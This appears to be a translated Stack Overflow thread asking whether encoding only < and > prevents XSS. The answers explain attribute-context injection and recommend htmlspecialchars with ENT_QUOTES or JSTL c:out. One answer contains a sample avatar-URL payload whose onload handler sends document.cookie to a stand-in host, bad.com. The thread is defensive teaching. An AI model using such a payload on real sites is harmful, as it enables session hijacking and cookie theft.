【发布时间】:2011-01-08 00:15:26
【问题描述】:
我想知道将<和>这两个标记是否足以防止XSS注入?
如果不是,为什么?最好的解决方案是什么?
【问题讨论】:
标签: xss code-injection
我想知道将<和>这两个标记是否足以防止XSS注入?
如果不是,为什么?最好的解决方案是什么?
【问题讨论】:
标签: xss code-injection
这在很大程度上取决于上下文。
看看这个例子,来自一个典型的论坛网站...
您可以热链接您的头像图片。输入完整的网址。
恶意用户进入输入框
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
那里没有小于和大于的编码,但仍然是一个很大的安全漏洞。
对于htmlspecialchars(),我发现创建(或使用)它的包装函数来转换为字符串是一个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用应用程序的正确字符集。 Kohana 有一个great example。
【讨论】:
&amp;amp; 在一篇谈论像这样的 HTML 的帖子中,该选项将无法在源代码中将其转义为 &amp;amp;,因此它会在屏幕上显示为 &,使得我看起来像个白痴。编码是一个过程,而不是一个状态。
您应该还考虑双引号 "、单引号 ' 和 & 符号 &。如果您在显示/生成输出的所有期间都这样做,那么是的,这就足够了。
您只应确保为任何用户控制的输入执行此操作,例如请求参数、请求 URL、请求标头和用户控制的输入存储在数据存储中。
在 PHP 中,您可以使用 htmlspecialchars() 来做到这一点,而在 JSP 中,您可以使用 JSTL <c:out> 来做到这一点。
【讨论】:
htmlspecialchars 默认只转义双引号,而不是单引号。但这通常没问题,因为很少使用单引号作为属性分隔符。使用ENT_QUOTES 确保两者兼得。